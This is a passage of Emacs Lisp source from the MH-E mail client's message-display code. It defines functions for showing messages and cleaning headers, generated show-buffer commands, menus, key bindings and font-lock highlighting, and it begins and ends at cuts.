\"Display message with the default preferred alternative.\nThis is as if `mm-discouraged-alternatives' is set to nil.\n\nUse the command \\\\[mh-show] to show the message normally again.\"\n  (interactive)\n  (let\n      ((mm-discouraged-alternatives))\n    (mh-show nil t)))\n\n\f\n\n;;; Support Routines for MH-Folder Commands\n\n;;;###mh-autoload\n(defun mh-maybe-show (&optional msg)\n  \"Display message at cursor, but only if in show mode.\nIf optional arg MSG is non-nil, display that message instead.\"\n  (if mh-showing-mode (mh-show msg)))\n\n(defun mh-show-msg (msg)\n  \"Show MSG.\n\nThe hook `mh-show-hook' is called after the message has been\ndisplayed.\"\n  (if (not msg)\n      (setq msg (mh-get-msg-num t)))\n  (mh-showing-mode t)\n  (setq mh-page-to-next-msg-flag nil)\n  (let ((folder mh-current-folder)\n        (folders (list mh-current-folder))\n        (clean-message-header mh-clean-message-header-flag)\n        (show-window (get-buffer-window mh-show-buffer))\n        (display-mime-buttons-flag mh-display-buttons-for-inline-parts-flag))\n    (if (not (eq (next-window (minibuffer-window)) (selected-window)))\n        (delete-other-windows))         ; force ourself to the top window\n    (mh-in-show-buffer (mh-show-buffer)\n      (setq mh-display-buttons-for-inline-parts-flag display-mime-buttons-flag)\n      (if (and show-window\n               (equal (mh-msg-filename msg folder) buffer-file-name))\n          (progn                        ;just back up to start\n            (goto-char (point-min))\n            (if (not clean-message-header)\n                (mh-start-of-uncleaned-message)))\n        (mh-display-msg msg folder)))\n    (unless (mh-window-full-height-p) ; not vertically split\n      (shrink-window (- (window-height) (or mh-summary-height\n                                            (mh-summary-height)))))\n    (mh-recenter nil)\n    ;; The following line is a nop which forces update of the scan line so\n    ;; that font-lock will update it (if needed)...\n    (mh-notate nil nil mh-cmd-note)\n    (if (not (memq msg mh-seen-list))\n        (setq mh-seen-list (cons msg mh-seen-list)))\n    (when mh-update-sequences-after-mh-show-flag\n      (mh-update-sequences)\n      (when mh-index-data\n        (setq folders\n              (append (mh-index-delete-from-sequence mh-unseen-seq (list msg))\n                      folders)))\n      (when (mh-speed-flists-active-p)\n        (apply #'mh-speed-flists t folders)))\n    (run-hooks 'mh-show-hook)))\n\n;;;###mh-autoload\n(defun mh-start-of-uncleaned-message ()\n  \"Position uninteresting headers off the top of the window.\"\n  (let ((case-fold-search t))\n    (re-search-forward\n     \"^To:\\\\|^Cc:\\\\|^From:\\\\|^Subject:\\\\|^Date:\" nil t)\n    (beginning-of-line)\n    (mh-recenter 0)))\n\n(defvar mh-show-buffer-mode-line-buffer-id \"    {show-%s} %d\"\n  \"Format string to produce `mode-line-buffer-identification' for show buffers.\n\nFirst argument is folder name. Second is message number.\")\n\n;;;###mh-autoload\n(defun mh-display-msg (msg-num folder-name)\n  \"Display MSG-NUM of FOLDER-NAME.\nSets the current buffer to the show buffer.\"\n  (let ((folder (mh-msg-folder folder-name)))\n    (set-buffer folder)\n    ;; When Gnus uses external displayers it has to keep handles longer. So\n    ;; we will delete these handles when mh-quit is called on the folder. It\n    ;; would be nicer if there are weak pointers in emacs lisp, then we could\n    ;; get the garbage collector to do this for us.\n    (unless (mh-buffer-data)\n      (setf (mh-buffer-data) (mh-make-buffer-data)))\n    ;; Bind variables in folder buffer in case they are local\n    (let ((formfile mh-mhl-format-file)\n          (clean-message-header mh-clean-message-header-flag)\n          (invisible-headers mh-invisible-header-fields-compiled)\n          (visible-headers nil)\n          (msg-filename (mh-msg-filename msg-num folder-name))\n          (show-buffer mh-show-buffer)\n          (mm-inline-media-tests mh-mm-inline-media-tests))\n      (if (not (file-exists-p msg-filename))\n          (error \"Message %d does not exist\" msg-num))\n      (if (and (> mh-show-maximum-size 0)\n               (> (elt (file-attributes msg-filename) 7)\n                  mh-show-maximum-size)\n               (not (y-or-n-p\n                     (format\n                      \"Message %d (%d bytes) exceeds %d bytes. Display it? \"\n                      msg-num (elt (file-attributes msg-filename) 7)\n                      mh-show-maximum-size))))\n          (error \"Message %d not displayed\" msg-num))\n      (set-buffer show-buffer)\n      (cond ((not (equal msg-filename buffer-file-name))\n             (mh-unvisit-file)\n             (setq buffer-read-only nil)\n             ;; Cleanup old mime handles\n             (mh-mime-cleanup)\n             (erase-buffer)\n             ;; Changing contents, so this hook needs to be reinitialized.\n             ;; pgp.el uses this.\n             (if (boundp 'write-contents-hooks) ;Emacs 19\n                 (kill-local-variable 'write-contents-hooks))\n             (font-lock-mode -1)\n             (mh-show-mode)\n             (if formfile\n                 (mh-exec-lib-cmd-output \"mhl\" \"-nobell\" \"-noclear\"\n                                         (if (stringp formfile)\n                                             (list \"-form\" formfile))\n                                         msg-filename)\n               (insert-file-contents-literally msg-filename))\n             ;; Use mm to display buffer\n             (when (and mh-decode-mime-flag (not formfile))\n               (mh-add-missing-mime-version-header)\n               (setf (mh-buffer-data) (mh-make-buffer-data))\n               (mh-mime-display))\n             (mh-show-unquote-From)\n             (mh-show-xface)\n             (mh-show-addr)\n             ;; Header cleanup\n             (goto-char (point-min))\n             (cond (clean-message-header\n                    (mh-clean-msg-header (point-min)\n                                         invisible-headers\n                                         visible-headers)\n                    (goto-char (point-min)))\n                   (t\n                    (mh-start-of-uncleaned-message)))\n             (mh-decode-message-header)\n             ;; the parts of visiting we want to do (no locking)\n             (or (eq buffer-undo-list t) ;don't save undo info for prev msgs\n                 (setq buffer-undo-list nil))\n             (set-buffer-auto-saved)\n             ;; the parts of set-visited-file-name we want to do (no locking)\n             (setq buffer-file-name msg-filename)\n             (setq buffer-backed-up nil)\n             (auto-save-mode 1)\n             (set-mark nil)\n             (when (and mh-decode-mime-flag (not formfile))\n               (mh-display-smileys)\n               (mh-display-emphasis))\n             (set-buffer-modified-p nil)\n             (setq buffer-read-only t)\n             (setq mh-show-folder-buffer folder)\n             (setq mode-line-buffer-identification\n                   (list (format mh-show-buffer-mode-line-buffer-id\n                                 folder-name msg-num)))\n             (mh-logo-display)\n             (set-buffer folder)\n             (setq mh-showing-with-headers nil))))))\n\n(defun mh-msg-folder (folder-name)\n  \"Return the name of the buffer for FOLDER-NAME.\"\n  folder-name)\n\n;;;###mh-autoload\n(defun mh-clean-msg-header (start invisible-headers visible-headers)\n  \"Flush extraneous lines in message header.\n\nHeader is cleaned from START to the end of the message header.\nINVISIBLE-HEADERS contains a regular expression specifying lines\nto delete from the header. VISIBLE-HEADERS contains a regular\nexpression specifying the lines to display. INVISIBLE-HEADERS is\nignored if VISIBLE-HEADERS is non-nil.\"\n  ;; XXX Note that MH-E no longer supports the `mh-visible-headers'\n  ;; variable, so this function could be trimmed of this feature too.\"\n  (let ((case-fold-search t)\n        (buffer-read-only nil))\n    (save-restriction\n      (goto-char start)\n      (if (search-forward \"\\n\\n\" nil 'move)\n          (backward-char 1))\n      (narrow-to-region start (point))\n      (goto-char (point-min))\n      (if visible-headers\n          (while (< (point) (point-max))\n            (cond ((looking-at visible-headers)\n                   (forward-line 1)\n                   (while (looking-at \"[ \\t]\") (forward-line 1)))\n                  (t\n                   (mh-delete-line 1)\n                   (while (looking-at \"[ \\t]\")\n                     (mh-delete-line 1)))))\n        (while (re-search-forward invisible-headers nil t)\n          (beginning-of-line)\n          (mh-delete-line 1)\n          (while (looking-at \"[ \\t]\")\n            (mh-delete-line 1)))))\n    (let ((mh-compose-skipped-header-fields ()))\n      (mh-letter-hide-all-skipped-fields))\n    (unlock-buffer)))\n\n;;;###mh-autoload\n(defun mh-invalidate-show-buffer ()\n  \"Invalidate the show buffer so we must update it to use it.\"\n  (if (get-buffer mh-show-buffer)\n      (with-current-buffer mh-show-buffer\n        (mh-unvisit-file))))\n\n(defun mh-unvisit-file ()\n  \"Separate current buffer from the message file it was visiting.\"\n  (or (not (buffer-modified-p))\n      (null buffer-file-name)           ;we've been here before\n      (yes-or-no-p (format \"Message %s modified; discard changes? \"\n                           (file-name-nondirectory buffer-file-name)))\n      (error \"Changes preserved\"))\n  (clear-visited-file-modtime)\n  (unlock-buffer)\n  (setq buffer-file-name nil))\n\n(defun mh-summary-height ()\n  \"Return ideal value for the variable `mh-summary-height'.\nThe current frame height is taken into consideration.\"\n  (or (and (fboundp 'frame-height)\n           (> (frame-height) 24)\n           (min 10 (/ (frame-height) 6)))\n      4))\n\n\f\n\n;; Infrastructure to generate show-buffer functions from folder functions\n;; XEmacs does not have deactivate-mark? What is the equivalent of\n;; transient-mark-mode for XEmacs? Should we be restoring the mark in the\n;; folder buffer after the operation has been carried out.\n(defmacro mh-defun-show-buffer (function original-function\n                                         &optional dont-return)\n  \"Define FUNCTION to run ORIGINAL-FUNCTION in folder buffer.\nIf the buffer we start in is still visible and DONT-RETURN is nil\nthen switch to it after that.\"\n  `(defun ,function ()\n     ,(format \"Calls %s from the message's folder.\\n%s\\nSee `%s' for more info.\\n\"\n              original-function\n              (if dont-return \"\"\n                \"When function completes, returns to the show buffer if it is\nstill visible.\\n\")\n              original-function)\n     (interactive)\n     (when (buffer-live-p (get-buffer mh-show-folder-buffer))\n       (let ((config (current-window-configuration))\n             (folder-buffer mh-show-folder-buffer)\n             (normal-exit nil)\n             ,@(if dont-return () '((cur-buffer-name (buffer-name)))))\n         (pop-to-buffer mh-show-folder-buffer nil)\n         (unless (equal (buffer-name\n                         (window-buffer (frame-first-window (selected-frame))))\n                        folder-buffer)\n           (delete-other-windows))\n         (mh-goto-cur-msg t)\n         (mh-funcall-if-exists deactivate-mark)\n         (unwind-protect\n             (prog1 (call-interactively (function ,original-function))\n               (setq normal-exit t))\n           (mh-funcall-if-exists deactivate-mark)\n           (when (eq major-mode 'mh-folder-mode)\n             (mh-funcall-if-exists hl-line-highlight))\n           (cond ((not normal-exit)\n                  (set-window-configuration config))\n                 ,(if dont-return\n                      '(t (setq mh-previous-window-config config))\n                    '((and (get-buffer cur-buffer-name)\n                           (window-live-p (get-buffer-window\n                                           (get-buffer cur-buffer-name))))\n                      (pop-to-buffer (get-buffer cur-buffer-name) nil)))))))))\n\n;; Generate interactive functions for the show buffer from the corresponding\n;; folder functions.\n(mh-defun-show-buffer mh-show-previous-undeleted-msg\n                      mh-previous-undeleted-msg)\n(mh-defun-show-buffer mh-show-next-undeleted-msg\n                      mh-next-undeleted-msg)\n(mh-defun-show-buffer mh-show-quit mh-quit)\n(mh-defun-show-buffer mh-show-delete-msg mh-delete-msg)\n(mh-defun-show-buffer mh-show-refile-msg mh-refile-msg)\n(mh-defun-show-buffer mh-show-undo mh-undo)\n(mh-defun-show-buffer mh-show-execute-commands mh-execute-commands)\n(mh-defun-show-buffer mh-show-reply mh-reply t)\n(mh-defun-show-buffer mh-show-redistribute mh-redistribute)\n(mh-defun-show-buffer mh-show-forward mh-forward t)\n(mh-defun-show-buffer mh-show-header-display mh-header-display)\n(mh-defun-show-buffer mh-show-refile-or-write-again\n                      mh-refile-or-write-again)\n(mh-defun-show-buffer mh-show-show mh-show)\n(mh-defun-show-buffer mh-show-show-preferred-alternative mh-show-preferred-alternative)\n(mh-defun-show-buffer mh-show-write-message-to-file\n                      mh-write-msg-to-file)\n(mh-defun-show-buffer mh-show-extract-rejected-mail\n                      mh-extract-rejected-mail t)\n(mh-defun-show-buffer mh-show-delete-msg-no-motion\n                      mh-delete-msg-no-motion)\n(mh-defun-show-buffer mh-show-first-msg mh-first-msg)\n(mh-defun-show-buffer mh-show-last-msg mh-last-msg)\n(mh-defun-show-buffer mh-show-copy-msg mh-copy-msg)\n(mh-defun-show-buffer mh-show-edit-again mh-edit-again t)\n(mh-defun-show-buffer mh-show-goto-msg mh-goto-msg)\n(mh-defun-show-buffer mh-show-inc-folder mh-inc-folder)\n(mh-defun-show-buffer mh-show-delete-subject-or-thread\n                      mh-delete-subject-or-thread)\n(mh-defun-show-buffer mh-show-delete-subject mh-delete-subject)\n(mh-defun-show-buffer mh-show-print-msg mh-print-msg)\n(mh-defun-show-buffer mh-show-send mh-send t)\n(mh-defun-show-buffer mh-show-toggle-showing mh-toggle-showing t)\n(mh-defun-show-buffer mh-show-pipe-msg mh-pipe-msg t)\n(mh-defun-show-buffer mh-show-sort-folder mh-sort-folder)\n(mh-defun-show-buffer mh-show-visit-folder mh-visit-folder t)\n(mh-defun-show-buffer mh-show-rescan-folder mh-rescan-folder)\n(mh-defun-show-buffer mh-show-pack-folder mh-pack-folder)\n(mh-defun-show-buffer mh-show-kill-folder mh-kill-folder t)\n(mh-defun-show-buffer mh-show-list-folders mh-list-folders t)\n(mh-defun-show-buffer mh-show-undo-folder mh-undo-folder)\n(mh-defun-show-buffer mh-show-delete-msg-from-seq\n                      mh-delete-msg-from-seq)\n(mh-defun-show-buffer mh-show-delete-seq mh-delete-seq)\n(mh-defun-show-buffer mh-show-list-sequences mh-list-sequences)\n(mh-defun-show-buffer mh-show-narrow-to-seq mh-narrow-to-seq)\n(mh-defun-show-buffer mh-show-put-msg-in-seq mh-put-msg-in-seq)\n(mh-defun-show-buffer mh-show-msg-is-in-seq mh-msg-is-in-seq)\n(mh-defun-show-buffer mh-show-widen mh-widen)\n(mh-defun-show-buffer mh-show-narrow-to-subject mh-narrow-to-subject)\n(mh-defun-show-buffer mh-show-narrow-to-from mh-narrow-to-from)\n(mh-defun-show-buffer mh-show-narrow-to-cc mh-narrow-to-cc)\n(mh-defun-show-buffer mh-show-narrow-to-range mh-narrow-to-range)\n(mh-defun-show-buffer mh-show-narrow-to-to mh-narrow-to-to)\n(mh-defun-show-buffer mh-show-store-msg mh-store-msg)\n(mh-defun-show-buffer mh-show-page-digest mh-page-digest)\n(mh-defun-show-buffer mh-show-page-digest-backwards\n                      mh-page-digest-backwards)\n(mh-defun-show-buffer mh-show-burst-digest mh-burst-digest)\n(mh-defun-show-buffer mh-show-page-msg mh-page-msg)\n(mh-defun-show-buffer mh-show-previous-page mh-previous-page)\n(mh-defun-show-buffer mh-show-modify mh-modify t)\n(mh-defun-show-buffer mh-show-next-button mh-next-button)\n(mh-defun-show-buffer mh-show-prev-button mh-prev-button)\n(mh-defun-show-buffer mh-show-toggle-mime-part mh-folder-toggle-mime-part)\n(mh-defun-show-buffer mh-show-save-mime-part mh-folder-save-mime-part)\n(mh-defun-show-buffer mh-show-inline-mime-part mh-folder-inline-mime-part)\n(mh-defun-show-buffer mh-show-toggle-threads mh-toggle-threads)\n(mh-defun-show-buffer mh-show-thread-delete mh-thread-delete)\n(mh-defun-show-buffer mh-show-thread-refile mh-thread-refile)\n(mh-defun-show-buffer mh-show-update-sequences mh-update-sequences)\n(mh-defun-show-buffer mh-show-next-unread-msg mh-next-unread-msg)\n(mh-defun-show-buffer mh-show-previous-unread-msg mh-previous-unread-msg)\n(mh-defun-show-buffer mh-show-thread-ancestor mh-thread-ancestor)\n(mh-defun-show-buffer mh-show-thread-next-sibling mh-thread-next-sibling)\n(mh-defun-show-buffer mh-show-thread-previous-sibling\n                      mh-thread-previous-sibling)\n(mh-defun-show-buffer mh-show-index-visit-folder mh-index-visit-folder t)\n(mh-defun-show-buffer mh-show-toggle-tick mh-toggle-tick)\n(mh-defun-show-buffer mh-show-narrow-to-tick mh-narrow-to-tick)\n(mh-defun-show-buffer mh-show-junk-blacklist mh-junk-blacklist)\n(mh-defun-show-buffer mh-show-junk-whitelist mh-junk-whitelist)\n(mh-defun-show-buffer mh-show-index-new-messages mh-index-new-messages)\n(mh-defun-show-buffer mh-show-index-ticked-messages mh-index-ticked-messages)\n(mh-defun-show-buffer mh-show-index-sequenced-messages\n                      mh-index-sequenced-messages)\n(mh-defun-show-buffer mh-show-catchup mh-catchup)\n(mh-defun-show-buffer mh-show-ps-print-toggle-color mh-ps-print-toggle-color)\n(mh-defun-show-buffer mh-show-ps-print-toggle-faces mh-ps-print-toggle-faces)\n(mh-defun-show-buffer mh-show-ps-print-msg-file mh-ps-print-msg-file)\n(mh-defun-show-buffer mh-show-ps-print-msg mh-ps-print-msg)\n(mh-defun-show-buffer mh-show-toggle-mime-buttons mh-toggle-mime-buttons)\n(mh-defun-show-buffer mh-show-display-with-external-viewer\n                      mh-display-with-external-viewer)\n\n\f\n\n;;; Sequence Menu\n\n(easy-menu-define\n  mh-show-sequence-menu mh-show-mode-map \"Menu for MH-E folder-sequence.\"\n  '(\"Sequence\"\n    [\"Add Message to Sequence...\"       mh-show-put-msg-in-seq t]\n    [\"List Sequences for Message\"       mh-show-msg-is-in-seq t]\n    [\"Delete Message from Sequence...\"  mh-show-delete-msg-from-seq t]\n    [\"List Sequences in Folder...\"      mh-show-list-sequences t]\n    [\"Delete Sequence...\"               mh-show-delete-seq t]\n    [\"Narrow to Sequence...\"            mh-show-narrow-to-seq t]\n    [\"Widen from Sequence\"              mh-show-widen t]\n    \"--\"\n    [\"Narrow to Subject Sequence\"       mh-show-narrow-to-subject t]\n    [\"Narrow to Tick Sequence\"          mh-show-narrow-to-tick\n     (with-current-buffer mh-show-folder-buffer\n       (and mh-tick-seq (mh-seq-msgs (mh-find-seq mh-tick-seq))))]\n    [\"Delete Rest of Same Subject\"      mh-show-delete-subject t]\n    [\"Toggle Tick Mark\"                 mh-show-toggle-tick t]\n    \"--\"\n    [\"Push State Out to MH\"             mh-show-update-sequences t]))\n\n;;; Message Menu\n\n(easy-menu-define\n  mh-show-message-menu mh-show-mode-map \"Menu for MH-E folder-message.\"\n  '(\"Message\"\n    [\"Show Message\"                     mh-show-show t]\n    [\"Show Message with Header\"         mh-show-header-display t]\n    [\"Show Message with Preferred Alternative\"\n                                        mh-show-show-preferred-alternative t]\n    [\"Next Message\"                     mh-show-next-undeleted-msg t]\n    [\"Previous Message\"                 mh-show-previous-undeleted-msg t]\n    [\"Go to First Message\"              mh-show-first-msg t]\n    [\"Go to Last Message\"               mh-show-last-msg t]\n    [\"Go to Message by Number...\"       mh-show-goto-msg t]\n    [\"Modify Message\"                   mh-show-modify t]\n    [\"Delete Message\"                   mh-show-delete-msg t]\n    [\"Refile Message\"                   mh-show-refile-msg t]\n    [\"Undo Delete/Refile\"               mh-show-undo t]\n    [\"Process Delete/Refile\"            mh-show-execute-commands t]\n    \"--\"\n    [\"Compose a New Message\"            mh-send t]\n    [\"Reply to Message...\"              mh-show-reply t]\n    [\"Forward Message...\"               mh-show-forward t]\n    [\"Redistribute Message...\"          mh-show-redistribute t]\n    [\"Edit Message Again\"               mh-show-edit-again t]\n    [\"Re-edit a Bounced Message\"        mh-show-extract-rejected-mail t]\n    \"--\"\n    [\"Copy Message to Folder...\"        mh-show-copy-msg t]\n    [\"Print Message\"                    mh-show-print-msg t]\n    [\"Write Message to File...\"         mh-show-write-msg-to-file t]\n    [\"Pipe Message to Command...\"       mh-show-pipe-msg t]\n    [\"Unpack Uuencoded Message...\"      mh-show-store-msg t]\n    [\"Burst Digest Message\"             mh-show-burst-digest t]))\n\n;;; Folder Menu\n\n(easy-menu-define\n  mh-show-folder-menu mh-show-mode-map  \"Menu for MH-E folder.\"\n  '(\"Folder\"\n    [\"Incorporate New Mail\"             mh-show-inc-folder t]\n    [\"Toggle Show/Folder\"               mh-show-toggle-showing t]\n    [\"Execute Delete/Refile\"            mh-show-execute-commands t]\n    [\"Rescan Folder\"                    mh-show-rescan-folder t]\n    [\"Thread Folder\"                    mh-show-toggle-threads t]\n    [\"Pack Folder\"                      mh-show-pack-folder t]\n    [\"Sort Folder\"                      mh-show-sort-folder t]\n    \"--\"\n    [\"List Folders\"                     mh-show-list-folders t]\n    [\"Visit a Folder...\"                mh-show-visit-folder t]\n    [\"View New Messages\"                mh-show-index-new-messages t]\n    [\"Search...\"                        mh-search t]\n    \"--\"\n    [\"Quit MH-E\"                        mh-quit t]))\n\n\f\n\n;;; MH-Show Keys\n\n(gnus-define-keys mh-show-mode-map\n  \" \"    mh-show-page-msg\n  \"!\"    mh-show-refile-or-write-again\n  \"'\"    mh-show-toggle-tick\n  \",\"    mh-show-header-display\n  \".\"    mh-show-show\n  \":\"    mh-show-show-preferred-alternative\n  \">\"    mh-show-write-message-to-file\n  \"?\"    mh-help\n  \"E\"    mh-show-extract-rejected-mail\n  \"M\"    mh-show-modify\n  \"\\177\" mh-show-previous-page\n  \"\\C-d\" mh-show-delete-msg-no-motion\n  \"\\t\"   mh-show-next-button\n  [backtab] mh-show-prev-button\n  \"\\M-\\t\" mh-show-prev-button\n  \"\\ed\"  mh-show-redistribute\n  \"^\"    mh-show-refile-msg\n  \"c\"    mh-show-copy-msg\n  \"d\"    mh-show-delete-msg\n  \"e\"    mh-show-edit-again\n  \"f\"    mh-show-forward\n  \"g\"    mh-show-goto-msg\n  \"i\"    mh-show-inc-folder\n  \"k\"    mh-show-delete-subject-or-thread\n  \"m\"    mh-show-send\n  \"n\"    mh-show-next-undeleted-msg\n  \"\\M-n\" mh-show-next-unread-msg\n  \"o\"    mh-show-refile-msg\n  \"p\"    mh-show-previous-undeleted-msg\n  \"\\M-p\" mh-show-previous-unread-msg\n  \"q\"    mh-show-quit\n  \"r\"    mh-show-reply\n  \"s\"    mh-show-send\n  \"t\"    mh-show-toggle-showing\n  \"u\"    mh-show-undo\n  \"x\"    mh-show-execute-commands\n  \"v\"    mh-show-index-visit-folder\n  \"|\"    mh-show-pipe-msg)\n\n(gnus-define-keys (mh-show-folder-map \"F\" mh-show-mode-map)\n  \"?\"    mh-prefix-help\n  \"'\"    mh-index-ticked-messages\n  \"S\"    mh-show-sort-folder\n  \"c\"    mh-show-catchup\n  \"f\"    mh-show-visit-folder\n  \"k\"    mh-show-kill-folder\n  \"l\"    mh-show-list-folders\n  \"n\"    mh-index-new-messages\n  \"o\"    mh-show-visit-folder\n  \"p\"    mh-show-pack-folder\n  \"q\"    mh-show-index-sequenced-messages\n  \"r\"    mh-show-rescan-folder\n  \"s\"    mh-search\n  \"t\"    mh-show-toggle-threads\n  \"u\"    mh-show-undo-folder\n  \"v\"    mh-show-visit-folder)\n\n(gnus-define-keys (mh-show-sequence-map \"S\" mh-show-mode-map)\n  \"'\"    mh-show-narrow-to-tick\n  \"?\"    mh-prefix-help\n  \"d\"    mh-show-delete-msg-from-seq\n  \"k\"    mh-show-delete-seq\n  \"l\"    mh-show-list-sequences\n  \"n\"    mh-show-narrow-to-seq\n  \"p\"    mh-show-put-msg-in-seq\n  \"s\"    mh-show-msg-is-in-seq\n  \"w\"    mh-show-widen)\n\n(define-key mh-show-mode-map \"I\" mh-inc-spool-map)\n\n(gnus-define-keys (mh-show-junk-map \"J\" mh-show-mode-map)\n  \"?\"    mh-prefix-help\n  \"b\"    mh-show-junk-blacklist\n  \"w\"    mh-show-junk-whitelist)\n\n(gnus-define-keys (mh-show-ps-print-map \"P\" mh-show-mode-map)\n  \"?\"   mh-prefix-help\n  \"C\"   mh-show-ps-print-toggle-color\n  \"F\"   mh-show-ps-print-toggle-faces\n  \"f\"   mh-show-ps-print-msg-file\n  \"l\"   mh-show-print-msg\n  \"p\"   mh-show-ps-print-msg)\n\n(gnus-define-keys (mh-show-thread-map \"T\" mh-show-mode-map)\n  \"?\"    mh-prefix-help\n  \"u\"    mh-show-thread-ancestor\n  \"p\"    mh-show-thread-previous-sibling\n  \"n\"    mh-show-thread-next-sibling\n  \"t\"    mh-show-toggle-threads\n  \"d\"    mh-show-thread-delete\n  \"o\"    mh-show-thread-refile)\n\n(gnus-define-keys (mh-show-limit-map \"/\" mh-show-mode-map)\n  \"'\"    mh-show-narrow-to-tick\n  \"?\"    mh-prefix-help\n  \"c\"    mh-show-narrow-to-cc\n  \"g\"    mh-show-narrow-to-range\n  \"m\"    mh-show-narrow-to-from\n  \"s\"    mh-show-narrow-to-subject\n  \"t\"    mh-show-narrow-to-to\n  \"w\"    mh-show-widen)\n\n(gnus-define-keys (mh-show-extract-map \"X\" mh-show-mode-map)\n  \"?\"    mh-prefix-help\n  \"s\"    mh-show-store-msg\n  \"u\"    mh-show-store-msg)\n\n(gnus-define-keys (mh-show-digest-map \"D\" mh-show-mode-map)\n  \"?\"    mh-prefix-help\n  \" \"    mh-show-page-digest\n  \"\\177\" mh-show-page-digest-backwards\n  \"b\"    mh-show-burst-digest)\n\n(gnus-define-keys (mh-show-mime-map \"K\" mh-show-mode-map)\n  \"?\"           mh-prefix-help\n  \"a\"           mh-mime-save-parts\n  \"e\"           mh-show-display-with-external-viewer\n  \"v\"           mh-show-toggle-mime-part\n  \"o\"           mh-show-save-mime-part\n  \"i\"           mh-show-inline-mime-part\n  \"t\"           mh-show-toggle-mime-buttons\n  \"\\t\"          mh-show-next-button\n  [backtab]     mh-show-prev-button\n  \"\\M-\\t\"       mh-show-prev-button)\n\n\f\n\n;;; MH-Show Font Lock\n\n(defun mh-header-field-font-lock (field limit)\n  \"Return the value of a header field FIELD to font-lock.\nArgument LIMIT limits search.\"\n  (if (= (point) limit)\n      nil\n    (let* ((mail-header-end (mh-mail-header-end))\n           (lesser-limit (if (< mail-header-end limit) mail-header-end limit))\n           (case-fold-search t))\n      (when (and (< (point) mail-header-end) ;Only within header\n                 (re-search-forward (format \"^%s\" field) lesser-limit t))\n        (let ((match-one-b (match-beginning 0))\n              (match-one-e (match-end 0)))\n          (mh-header-field-end)\n          (if (> (point) limit)         ;Don't search for end beyond limit\n              (goto-char limit))\n          (set-match-data (list match-one-b match-one-e\n                                (1+ match-one-e) (point)))\n          t)))))\n\n(defun mh-header-to-font-lock (limit)\n  \"Return the value of a header field To to font-lock.\nArgument LIMIT limits search.\"\n  (mh-header-field-font-lock \"To:\" limit))\n\n(defun mh-header-cc-font-lock (limit)\n  \"Return the value of a header field cc to font-lock.\nArgument LIMIT limits search.\"\n  (mh-header-field-font-lock \"cc:\" limit))\n\n(defun mh-header-subject-font-lock (limit)\n  \"Return the value of a header field Subject to font-lock.\nArgument LIMIT limits search.\"\n  (mh-header-field-font-lock \"Subject:\" limit))\n\n(defun mh-letter-header-font-lock (limit)\n  \"Return the entire mail header to font-lock.\nArgument LIMIT limits search.\"\n  (if (= (point) limit)\n      nil\n    (let* ((mail-header-end (save-match-data (mh-mail-header-end)))\n           (lesser-limit (if (< mail-header-end limit) mail-header-end limit)))\n      (when (mh-in-header-p)\n        (set-match-data (list 1 lesser-limit))\n        (goto-char lesser-limit)\n        t))))\n\n(defun mh-show-font-lock-fontify-region (beg end loudly)\n  \"Limit font-lock in `mh-show-mode' to the header.\n\nUsed when the option `mh-highlight-citation-style' is set to\n\\\"Gnus\\\", leaving the body to be dealt with by Gnus highlighting.\nThe region between BEG and END is given over to be fontified and\nLOUDLY controls if a user sees a message about the fontification\noperation.\"\n  (let ((header-end (mh-mail-header-end)))\n    (cond\n     ((and (< beg header-end)(< end header-end))\n      (font-lock-default-fontify-region beg end loudly))\n     ((and (< beg header-end)(>= end header-end))\n      (font-lock-default-fontify-region beg header-end loudly))\n     (t\n      nil))))\n\n(defvar mh-show-font-lock-keywords\n  '((\"^\\\\(From:\\\\|Sender:\\\\)\\\\(.*\\\\)\"\n     (1 'default)\n     (2 'mh-show-from))\n    (mh-header-to-font-lock\n     (0 'default)\n     (1 'mh-show-to))\n    (mh-header-cc-font-lock\n     (0 'default)\n     (1 'mh-show-cc))\n    (\"^\\\\(Reply-To:\\\\|Return-Path:\\\\)\\\\(.*\\\\)$\"\n     (1 'default)\n     (2 'mh-show-from))\n    (mh-header-subject-font-lock\n     (0 'default)\n     (1 'mh-show-subject))\n    (\"^\\\\(Apparently-To:\\\\|Newsgroups:\\\\)\\\\(.*\\\\)\"\n     (1 'default)\n     (2 'mh-show-cc))\n    (\"^\\\\(In-Reply-To\\\\|Date\\\\):\\\\(.*\\\\)$\"\n     (1 'default)\n     (2 'mh-show-date))\n    (mh-letter-header-font-lock\n     (0 'mh-show-header append t)))\n  \"Additional expressions to highlight in MH-Show buffers.\")\n\n;;;###mh-autoload\n(defun mh-show-font-lock-keywords ()\n  \"Return variable `mh-show-font-lock-keywords'.\"\n  mh-show-font-lock-keywords)\n\n(defvar mh-show-font-lock-keywords-with-cite\n  (let* ((cite-chars \"[>|}]\")\n         (cite-prefix \"A-Za-z\")\n         (cite-suffix (concat cite-prefix \"0-9_.@-`'\\\"\")))\n    (append\n     mh-show-font-lock-keywords\n     (list\n      ;; Use MATCH-ANCHORED to effectively anchor the regexp left side.\n      `(,cite-chars\n        (,(concat \"\\\\=[ \\t]*\"\n                  \"\\\\(\\\\([\" cite-prefix \"]+[\" cite-suffix \"]*\\\\)?\"\n                  \"\\\\(\" cite-chars \"[ \\t]*\\\\)\\\\)+\"\n                  \"\\\\(.*\\\\)\")\n         (beginning-of-line) (end-of-line)\n         (2 font-lock-constant-face nil t)\n         (4 font-lock-comment-face nil t))))))\n  \"Additional expressions to highlight in MH-Show buffers.\")\n\n;;;###mh-autoload\n(defun mh-show-font-lock-keywords-with-cite ()\n  \"Return variable `mh-show-font-lock-keywords-with-cite'.\"\n  mh-show-font-lock-keywords-with-cite)\n\n\f\n\n;;; MH-Show Mode\n\n;; Ensure new buffers won't get this mode if default major-mode is nil.\n(put 'mh-show-mode 'mode-class 'special)\n\n;; Shush compiler.\n(defvar font-lock-auto-fontify)\n\n;;;###mh-autoload\n(define-derived-mode mh-show-mode text-mode \"MH-Show\"\n  \"Major mode for showing messages in MH-E.\\\\\n\nEmail addresses and URLs in the message are highlighted if the\noption `goto-address-highlight-p' is on, which it is by default.\nTo view the web page for a highlighted URL or to send a message\nusing a highlighted email address, use the middle mouse button or\n\\\\[goto-address-at-point]. See Info node `(mh-e)Sending Mail' to\nsee how to configure Emacs to send the message using MH-E.\n\nThe hook `mh-show-mode-hook' is called upon entry to this mode.\n\nSee also `mh-folder-mode'.\n\n\\\\{mh-show-mode-map}\"\n  (mh-do-in-gnu-emacs\n   (if (boundp 'tool-bar-map)\n       (set (make-local-variable 'tool-bar-map) mh-show-tool-bar-map)))\n  (mh-do-in-xemacs\n    (mh-tool-bar-init :show))\n  (set (make-local-variable 'mail-header-separator) mh-mail-header-separator)\n  (setq paragraph-start (default-value 'paragraph-start))\n  